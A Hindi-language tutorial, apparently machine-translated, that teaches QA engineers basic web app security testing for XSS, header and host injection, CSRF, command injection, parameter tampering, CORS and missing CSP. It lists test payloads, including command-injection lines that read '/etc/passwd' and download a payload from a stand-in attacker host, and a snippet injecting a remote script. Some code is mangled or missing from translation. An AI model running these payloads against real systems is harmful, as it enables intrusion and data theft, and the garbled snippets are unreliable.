साइबर सुरक्षा अनिवार्यताएं: क्यूए इंजीनियरों के लिए व्यावहारिक वेब ऐप सुरक्षा परीक्षण युक्तियाँ

यह आलेख मूलभूत कमजोरियों और परीक्षण तकनीकों की पड़ताल करता है, जो आपके वेब ऐप पेन्टिंग कौशल को बढ़ाने के लिए व्यावहारिक अंतर्दृष्टि प्रदान करता है। यह आलेख QA इंजीनियरों और विश्लेषकों को समर्पित मेरी पोस्टों की एक श्रृंखला को जोड़ता है, जो मूलभूत साइबर सुरक्षा कमजोरियों का व्यावहारिक अन्वेषण प्रदान करता है। इसका उद्देश्य क्यूए इंजीनियरों/परीक्षकों/विश्लेषकों को ज्ञान के साथ सशक्त बनाना है जो सॉफ्टवेयर क्यूए और के बीच अंतर को पाटता है, वेब अनुप्रयोगों की अखंडता और सुरक्षा सुनिश्चित करने के लिए एक एकीकृत दृष्टिकोण को बढ़ावा देता है। साइबर सुरक्षा यह कोई अंतिम मार्गदर्शिका नहीं है, लेकिन मैं एक क्यूए इंजीनियर के रूप में अपना अनुभव साझा करना चाहूंगा जो साइबर सुरक्षा क्षेत्र में रुचि रखता है; यदि आप कुछ पहलुओं को गहराई से जानने में रुचि रखते हैं तो यह कुछ उपयोगी लिंक के साथ काफी सतही जानकारी होगी। 1. XSS (क्रॉस-साइट स्क्रिप्टिंग) महत्वपूर्ण और सबसे आम कमजोरियों में से एक XSS है - https://owasp.org/www-community/attacks/xss/ मैं क्षेत्र और फ्रंटएंड डेव प्रौद्योगिकियों में व्यापक ज्ञान के बिना एक्सएसएस के लिए परीक्षण करने के तरीके पर एक सरल दृष्टिकोण और युक्तियां साझा करूंगा। उदाहरण के लिए, अपने ऐप के इनपुट फ़ील्ड में एक स्क्रिप्ट टैग और उसके बाद कुछ जेएस कोड दर्ज करें। alert('XSS'); (%0ejavascript:alert(/XSS/)) इनपुट सबमिट करें और देखें कि स्क्रिप्ट निष्पादित होती है या नहीं। यदि ऐसा होता है, तो एप्लिकेशन XSS हमलों के प्रति संवेदनशील है। यदि स्क्रिप्ट निष्पादित नहीं होती है, तो अन्य HTML टैग, जैसे या और देखें कि क्या वे पृष्ठ पर प्रतिबिंबित होते हैं, उदाहरण के लिए (यह उदाहरण लगभग हमेशा मेरे लिए काम करता है) जोड़कर इनपुट को संशोधित करने का प्रयास करें, t #`"/*—est आप अपने वेब ऐप यूआरएल या उपयोगकर्ता नाम, अपलोड किए गए फ़ाइल नाम ( ), या ऐप पेज पर प्रदर्शित होने वाले किसी भी टेक्स्ट के क्वेरी पैरामीटर में एक स्क्रिप्ट जोड़ सकते हैं जिसे आप बदल सकते हैं . https://github.com/cure53/H5SC इनपुट के फ्रंट-एंड सत्यापन से अवगत रहें। हमेशा सीधे अनुरोध (पोस्टमैन, बर्प, या किसी समान उपकरण का उपयोग करके) का उपयोग करके मूल्य सबमिट करने का प्रयास करें। फ़ज़िंग और पेलोड की सूची का उपयोग करें - जब संभव हो तो इस दृष्टिकोण को स्वचालित करें या इसके लिए विशेष उपकरणों का उपयोग करें। टूल के बारे में बात करते हुए, XSS की खोज करने, अलग-अलग आज़माने, विभिन्न ऐप्स के साथ कई बार परिणामों की तुलना करने और जो आपको सबसे अधिक पसंद हो उसे चुनने के लिए उनमें से बहुत सारे हैं: (मैंने बहुत उपयोग किया है OWASP जैप और बर्पसुइट)। https://linuxhint.com/free_xss_tools/ व्यक्तिगत रूप से, मुझे यहां से पेलोड और जानकारी का उपयोग करना पसंद है - - मेरी राय में, यह एक बहुत ही उपयोगी संसाधन है। https://github.com/s0md3v/AwesomeXSS XSS और पेलोड के बारे में अधिक जानकारी के लिए, आप निम्नलिखित संसाधन पा सकते हैं: https://owasp.org/www-community/attacks/xss/ https://portswigger.net/web-security/cross-site-scripting/cheat-शीट https://gist.github.com/kuro Beats/9a613c9ab68914312cbb415134795b45 2. हेडर इंजेक्शन यह भेद्यता तब होती है जब कोई हमलावर किसी वेबसाइट के हेडर में दुर्भावनापूर्ण कोड डाल सकता है, जिससे उन्हें अनधिकृत कार्यों को अंजाम देने या संवेदनशील जानकारी तक पहुंचने की अनुमति मिलती है। हेडर इंजेक्शन के परीक्षण के लिए, आप कुछ चरणों का पालन कर सकते हैं: HTTP हेडर में हेरफेर करने के लिए पोस्टमैन, बर्प या किसी भी समान टूल का उपयोग करें और देखें कि क्या आप कोई अनधिकृत हेडर जोड़ सकते हैं या मौजूदा हेडर को संशोधित कर सकते हैं। जांचें कि क्या सर्वर प्रतिक्रिया शीर्षलेखों में संवेदनशील जानकारी भेज रहा है। दुर्भावनापूर्ण सामग्री जोड़कर या उनके मूल्यों को संशोधित करके कुकीज़ में हेरफेर करने का प्रयास करें। हेडर इंजेक्शन के परीक्षण के लिए पेलोड का एक उदाहरण हेडर फ़ील्ड में एक न्यूलाइन कैरेक्टर को शामिल करना है, जिसके बाद अतिरिक्त हेडर शामिल हैं। (%0d%0a OR \r\n) उदाहरण के लिए, निम्नलिखित पेलोड का उपयोग सेट-कुकी हेडर को इंजेक्ट करने के लिए किया जा सकता है: User-Agent: Mozilla/5.0\r\nSet-Cookie: sessionid=111111 https:// yoursite. com?cookie=123%0D%0ASet-Cookie%3A%20TESTCOOKIE=hacked एक अन्य उदाहरण होस्ट हेडर इंजेक्शन है, जहां एक हमलावर उसी सर्वर पर किसी अन्य वेबसाइट या उपडोमेन तक पहुंचने के लिए होस्ट हेडर में हेरफेर कर सकता है। उदाहरण के लिए: Host: yoursite.com\r\n\r\nGET /admin HTTP/1.1\r\nHost: admin.yoursite.com हेडर इंजेक्शन के बारे में अधिक जानने के लिए, आप निम्नलिखित संसाधनों का संदर्भ ले सकते हैं: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning https://www.acunetix.com/blog/web-security-zone/http-header-injection/ https://portswigger.net/web-security/host-header/exploiting 3. सीएसआरएफ (क्रॉस-साइट अनुरोध जालसाजी) सीएसआरएफ तब होता है जब कोई दुर्भावनापूर्ण वेबसाइट उपयोगकर्ता को किसी अन्य वेबसाइट पर कार्य करने के लिए प्रेरित करती है जिस पर उपयोगकर्ता वर्तमान में लॉग इन है। इस प्रकार के हमले के परिणामस्वरूप उपयोगकर्ता की ओर से अनधिकृत कार्रवाई (कोई भी POST अनुरोध) की जा सकती है। सीएसआरएफ कमजोरियों का परीक्षण करने के लिए, संक्षेप में, आप निम्नलिखित कार्य कर सकते हैं: वेबसाइट पर संवेदनशील कार्य करने वाले किसी भी फॉर्म या कार्यों को ढूंढें, यह पासवर्ड बदलना या लेनदेन करना (या कोई अन्य पोस्ट अनुरोध जो उपयोगकर्ताओं के लिए हानिकारक हो सकता है यदि वे उपयोगकर्ता की ओर से उनकी जानकारी के बिना किए जाते हैं)। एक HTML पेज या कोड स्निपेट तैयार करें जिसमें एक छिपा हुआ फॉर्म हो जो समान क्रिया करता हो, उदाहरण के लिए: इस कोड को HTML फ़ाइल के रूप में सहेजें और इसे उसी ब्राउज़र में खोलें जहां आपने परीक्षण की गई साइट पर लॉग इन किया है। जांचें कि क्या कार्रवाई उपयोगकर्ता की जानकारी या अनुमति के बिना की गई थी। उदाहरण 2 में, उपयोगकर्ता को एक ऐसी वेबसाइट पर जाने के लिए प्रेरित किया जाता है जो लक्ष्य वेबसाइट पर हमलावर के खाते में 1000 स्थानांतरित करने के लिए स्वचालित रूप से एक छिपा हुआ फॉर्म सबमिट करती है। सीएसआरएफ हमलों को रोकने के लिए, अनुरोध की उत्पत्ति को सत्यापित करने के लिए एंटी-सीएसआरएफ टोकन या समान-साइट कुकीज़ का उपयोग करें। ये टोकन अद्वितीय मान हैं जो सर्वर द्वारा उत्पन्न होते हैं और फॉर्म या यूआरएल पैरामीटर में शामिल होते हैं। जब फॉर्म सबमिट किया जाता है, तो सर्वर जांच करता है कि टोकन अपेक्षित मूल्य से मेल खाता है या नहीं और यदि वे मेल नहीं खाते हैं तो अनुरोध को अस्वीकार कर देता है। यहां पायथन में एक उदाहरण दिया गया है: import requests # Get the CSRF token from the cookie def get_csrf_token(): cookie = requests.utils.dict_from_cookiejar(requests.cookies) return cookie.get('csrfToken') # Send an HTTP request with the CSRF token in the headers def send_http_request(url, data): csrf_token = get_csrf_token() headers = { 'Content-Type': 'application/json', 'X-CSRF-TOKEN': csrf_token } response = requests.post(url, headers=headers, data=data) return response उपयोगी संसाधन: https://owasp.org/www-community/attacks/csrf https://portswigger.net/web-security/csrf https://cheatSheetseries.owasp.org/cheatSheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html 4. आरसीई (रिमोट कोड एक्ज़ीक्यूशन) और कमांड इंजेक्शन आरसीई और कमांड इंजेक्शन कमजोरियां तब होती हैं जब हमलावर किसी लक्ष्य सिस्टम पर मनमाना कोड या ओएस कमांड निष्पादित कर सकते हैं। इस प्रकार के हमलों के परिणामस्वरूप सिस्टम में पूर्ण समझौता हो सकता है और संवेदनशील डेटा तक अनधिकृत पहुंच हो सकती है। आरसीई और कमांड इंजेक्शन कमजोरियों का परीक्षण करने के लिए, संक्षेप में, आप निम्नलिखित कार्य कर सकते हैं: उन इनपुट फ़ील्ड या पैरामीटर की पहचान करें जिनमें हेरफेर किया जा सकता है। ये इनपुट फ़ील्ड या पैरामीटर कई स्थानों पर पाए जा सकते हैं, जैसे कि फॉर्म, यूआरएल पैरामीटर, कुकीज़, HTTP हेडर इत्यादि। ऐसे पैरामीटर की पहचान करने के लिए, आप बर्प सूट जैसे टूल का उपयोग कर सकते हैं, जो आपको अवरोधन करने की अनुमति देता है और HTTP अनुरोधों और प्रतिक्रियाओं को संशोधित करें (मुफ़्त संस्करण में)। बर्प इनपुट फ़ील्ड और पैरामीटर सहित सभी अनुरोधों और प्रतिक्रियाओं को कैप्चर और प्रदर्शित करेगा। एक बार जब आपके पास आपके पैरामीटर हों, तो आपको यह जांचना होगा कि क्या उनका उपयोग सम्मिलित कोड या ओएस कमांड को निष्पादित करने के लिए किया जा सकता है। उन फ़ील्ड या पैरामीटर में दुर्भावनापूर्ण पेलोड इंजेक्ट करें, यहां कुछ संभावित और सरल उदाहरण दिए गए हैं: ; ls -la - list the contents of a directory cat /etc/passwd - show the password file wget https://myhackersite.evil/payload - download files with malicious code from a remote server ping -c 1 https://www.linkedin.com/redir/general-malware-page?url=myhackersite%2eevil%2ecom - ping the attacker's website 3 यह देखने के लिए एप्लिकेशन के व्यवहार की जांच करें कि क्या पेलोड सफलतापूर्वक निष्पादित किया गया था और क्या कोई संवेदनशील जानकारी आपको भेजी गई थी। उदाहरण के लिए, यदि आपने उपयोग किया है और एप्लिकेशन ने सर्वर पर फ़ाइलों और निर्देशिकाओं की एक सूची प्रदर्शित की है, तो यह इंगित करता है कि पेलोड सफलतापूर्वक निष्पादित किया गया था और एप्लिकेशन कमांड इंजेक्शन के प्रति संवेदनशील है। ls -la का सभी पेलोड के परिणामस्वरूप कुछ दृश्य आउटपुट नहीं होंगे। ऐसे मामलों में, आपको अन्य तरीकों का उपयोग करने की आवश्यकता हो सकती है, जैसे नेटवर्क ट्रैफ़िक की निगरानी करना या लॉग फ़ाइलों की समीक्षा करना। आरसीई और कमांड इंजेक्शन हमलों को रोकने के लिए, उपयोगकर्ता इनपुट को मान्य करना होगा, और दुर्भावनापूर्ण वर्णों या कमांड को हटाना या साफ़ करना होगा। आगे सीखने के लिए यहां कुछ उपयोगी संसाधन दिए गए हैं: https://owasp.org/www-community/attacks/Command_Injection https://owasp.org/www-community/attacks/Code_Injection https://portswigger.net/web-security 5. वेब पैरामीटर से छेड़छाड़ इस प्रकार का हमला तब होता है जब आप क्लाइंट साइड से सर्वर साइड पर भेजे गए पैरामीटर्स में हेरफेर करते हैं, जिससे, उदाहरण के लिए, अनधिकृत पहुंच या विशेषाधिकार वृद्धि होती है। इस प्रकार की भेद्यता का परीक्षण करने के लिए, आप निम्नलिखित कार्य कर सकते हैं: उन इनपुट फ़ील्ड या पैरामीटर की पहचान करें जिन्हें हेरफेर किया जा सकता है। अन्य कमजोरियों के समान, आप HTTP अनुरोधों और प्रतिक्रियाओं को रोकने और संशोधित करने के लिए बर्प सूट जैसे टूल का उपयोग कर सकते हैं। पैरामीटर संशोधित करें. उदाहरण के लिए, यदि कोई पैरामीटर किसी उत्पाद की कीमत को नियंत्रित करता है, तो आप कम कीमत पर आइटम खरीदने के लिए इसे संशोधित कर सकते हैं: - किसी उत्पाद की कीमत को 10 से 1 में बदलें। - उपयोगकर्ता आईडी पैरामीटर में हेरफेर करके प्रमाणीकरण को बायपास करें। - बदलें रिफंड प्राप्त करने के लिए किसी उत्पाद की मात्रा को ऋणात्मक संख्या में या 1 वस्तु की कीमत के लिए अधिक वस्तुएँ प्राप्त करने के लिए अधिक संख्या में। यह देखने के लिए कि क्या छेड़छाड़ सफल रही, एप्लिकेशन के व्यवहार की जाँच करें। उदाहरण के लिए, यदि आप सफलतापूर्वक कीमत बदलते हैं, तो कार्ट या रसीद की जांच करते समय एप्लिकेशन को वह परिवर्तन प्रतिबिंबित करना चाहिए। और हां, अपने निष्कर्षों की रिपोर्ट डेवलपर्स को दें ताकि वे सुरक्षा जोखिम बनने से पहले समस्या को ठीक कर सकें। वेब पैरामीटर छेड़छाड़ हमलों को रोकने के लिए, इनपुट सत्यापन और स्वच्छता महत्वपूर्ण हैं। सुनिश्चित करें कि सभी इनपुट डेटा सर्वर साइड पर मान्य है और एप्लिकेशन किसी भी दुर्भावनापूर्ण इनपुट को अस्वीकार कर देता है। मैं कहूंगा कि इस प्रकार की कमजोरियां QA टीम द्वारा पहचानी जाने वाली सबसे अच्छी कमजोरियां हैं क्योंकि QAs एप्लिकेशन/उत्पाद और उसके तर्क और मापदंडों को इंफोसेक इंजीनियरों की तुलना में बेहतर जानते हैं जो आमतौर पर विकास प्रक्रिया में शामिल नहीं होते हैं। वेब पैरामीटर छेड़छाड़ के बारे में अधिक जानने में आपकी सहायता के लिए यहां कुछ अतिरिक्त संसाधन दिए गए हैं: https://owasp.org/www-community/attacks/Web_Parameter_Tampering https://www.geeksforgeeks.org/web-parameter-tampering-attack-on-web-servers/ https://www.imperva.com/learn/application-security/parameter-tampering/ 6. क्रॉस-ओरिजिनल रिसोर्स शेयरिंग (सीओआरएस) यह एक सुरक्षा तंत्र है जो वेब पेजों को वेब पेज परोसने वाले डोमेन से भिन्न डोमेन पर अनुरोध करने से प्रतिबंधित करता है। आप निम्न कार्य करके परीक्षण कर सकते हैं: ब्राउज़र में कोई भी डोमेन खोलें (उदाहरण के लिए, google.com) जिससे आपके होस्ट तक पहुंच वर्जित होनी चाहिए। ब्राउज़र कंसोल में इस कमांड का उपयोग करें: fetch('https://beapimysite.com') .then(response=>response.json()) .then(data=>{ console.log(data); }) यदि सब कुछ ठीक से कॉन्फ़िगर किया गया है, तो आपको निम्नलिखित मिलना चाहिए: access to fetch at 'https://beapimysite.com' from origin 'https://www. google.com' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource. ये सरल उपाय करें: अनुरोध में शामिल मूल और गंतव्य डोमेन ढूंढें। मूल डोमेन अनुरोध करने वाले वेब पेज का डोमेन है, और गंतव्य डोमेन वह डोमेन है जिस पर अनुरोध भेजा जा रहा है। पोस्टमैन जैसे टूल का उपयोग करके, मूल डोमेन से गंतव्य डोमेन पर एक अनुरोध भेजें। यह इंगित करने के लिए उपयुक्त शीर्षलेख शामिल करना सुनिश्चित करें कि अनुरोध एक क्रॉस-ओरिजिन अनुरोध है। सर्वर को यह इंगित करने के लिए प्रतिक्रिया में एक्सेस-कंट्रोल-अनुमति-उत्पत्ति हेडर शामिल करना चाहिए कि मूल डोमेन से अनुरोध की अनुमति है। यदि यह हेडर गुम है या किसी भिन्न मान पर सेट है, तो यह एप्लिकेशन में भेद्यता का संकेत दे सकता है। यदि एक्सेस-कंट्रोल-अनुमति-उत्पत्ति हेडर गुम है या किसी मान पर सेट है, तो अनुरोध को संशोधित करके प्रतिबंधों को बायपास करने का प्रयास करें। उदाहरण के लिए, आप गंतव्य डोमेन से मेल खाने के लिए ओरिजिन हेडर को बदलने या किसी भिन्न HTTP विधि का उपयोग करने का प्रयास कर सकते हैं। परीक्षण के लिए यहां कुछ उदाहरण अनुरोध दिए गए हैं: Request from https://mysite.com to https://beapimysite.com: GET /api/data HTTP/1.1 Host: beapimysite.com Origin: https ://mysite.com Access-Control-Request-Method: GET Access-Control-Request-Headers: X-Requested-With प्रतिक्रिया: HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Headers: X-Requested-With CORS पर अधिक जानकारी के लिए, यहां कुछ उपयोगी संसाधन दिए गए हैं: https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS https://portswigger.net/web-security/cors 7. सामग्री सुरक्षा नीति (सीएसपी) हेडर सेट नहीं है सीएसपी एक तंत्र है जो यह निर्दिष्ट करके XSS हमलों को रोकने में मदद करता है कि सामग्री के किन स्रोतों को वेब पेजों पर लोड करने की अनुमति है। सीएसपी हेडर सेट के बिना, पेज में दुर्भावनापूर्ण स्क्रिप्ट डालना और संवेदनशील उपयोगकर्ता डेटा चुराना या अन्य कार्य करना संभावित रूप से संभव है। सीएसपी हेडर की जांच करने के लिए आप निम्नलिखित कार्य कर सकते हैं: वह वेब पेज खोलें जिसका आप ब्राउज़र में परीक्षण करना चाहते हैं। अपने ब्राउज़र में डेव टूल्स खोलें और कंसोल पर जाएं। निम्नलिखित कोड दर्ज करें: document.cookie=TESTCOOKIE=XSS; यदि यह सफलतापूर्वक चलता है - कोई त्रुटि संदेश नहीं। यह इंगित करता है कि पृष्ठ XSS के प्रति संभावित रूप से असुरक्षित है क्योंकि यह कुकीज़ को बाहरी स्रोत से सेट करने की अनुमति देता है। पृष्ठ में एक स्क्रिप्ट डालने का प्रयास करें और देखें कि यह निष्पादित होती है या नहीं। उदाहरण के लिए, ब्राउज़र कंसोल में निम्न कोड डालें: var script = document.create; Element('script');script.src = 'http://dangeroussite.com/dolphin.js'; document.head.appendChild(script); प्रतिक्रिया शीर्षलेखों में सामग्री-सुरक्षा-नीति शीर्षलेख देखें। यदि यह हेडर गायब है, तो इसका मतलब है कि वेब पेज में कोई सीएसपी हेडर सेट नहीं है। वेब ऐप सुरक्षा में सीएसपी हेडर एक महत्वपूर्ण चीज़ है। सीएसपी पर अधिक जानकारी के लिए: https://cheatSheetseries.owasp.org/cheatSheets/Content_Security_Policy_Cheat_Sheet.html https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP सॉफ़्टवेयर ऐप्स की सुरक्षा के संदर्भ में साइबर सुरक्षा और सॉफ़्टवेयर QA के बीच सहजीवी संबंध महत्वपूर्ण है। खतरे की मॉडलिंग पद्धतियों और स्वचालित फ़ज़ परीक्षण तकनीकों के एकीकरण के माध्यम से, क्यूए इंजीनियर सुरक्षा कमजोरियों का शीघ्र पता लगाने और उन्हें कम करने में महत्वपूर्ण योगदान देते हैं। साइबर सुरक्षा और क्यूए टीमों के बीच सहयोग सॉफ्टवेयर विकास के लिए एकीकृत दृष्टिकोण का एक अभिन्न अंग है, जिसमें क्यूए की भूमिका कार्यात्मक और प्रयोज्य परीक्षण से परे सक्रिय सुरक्षा खामियों की सक्रिय पहचान और सुधार को शामिल करने के लिए है। साइबर सुरक्षा प्रयासों में क्यूए को एक रणनीतिक संपत्ति के रूप में मान्यता देना महत्वपूर्ण है, क्योंकि यह न केवल डेटा सुरक्षा को बढ़ाता है बल्कि कंपनी की प्रतिष्ठा, ग्राहक विश्वास और समग्र वित्तीय स्थिरता की भी रक्षा करता है। क्यूए पेशेवरों के तकनीकी कौशल, उनकी कठोर परीक्षण प्रथाओं के साथ मिलकर, साइबर खतरों के खिलाफ एक मजबूत सुरक्षा स्थापित करते हैं। एक महत्वपूर्ण अनुस्मारक: प्रवेश परीक्षण हमेशा स्पष्ट अनुमति के साथ और नियंत्रित वातावरण में करें। यह नैतिक दृष्टिकोण सुनिश्चित करता है कि सुरक्षा मूल्यांकन जिम्मेदार परीक्षण प्रोटोकॉल के साथ संरेखित हो, सिस्टम में अनजाने समझौते को रोका जा सके और परीक्षण प्रक्रिया और व्यापक साइबर सुरक्षा रणनीति दोनों की अखंडता को बनाए रखा जा सके। यह आलेख क्यूए इंजीनियरों के लिए वेब ऐप सुरक्षा परीक्षण, कनेक्टिंग सॉफ्टवेयर क्यूए और साइबर सुरक्षा में सुधार के लिए व्यावहारिक सुझाव साझा करता है। यह उन लोगों के लिए अंतर्दृष्टि और उपयोगी लिंक के साथ एक शुरुआती-अनुकूल मार्गदर्शिका है जो अधिक सीखना चाहते हैं। भी प्रकाशित किया गया है. यहाँ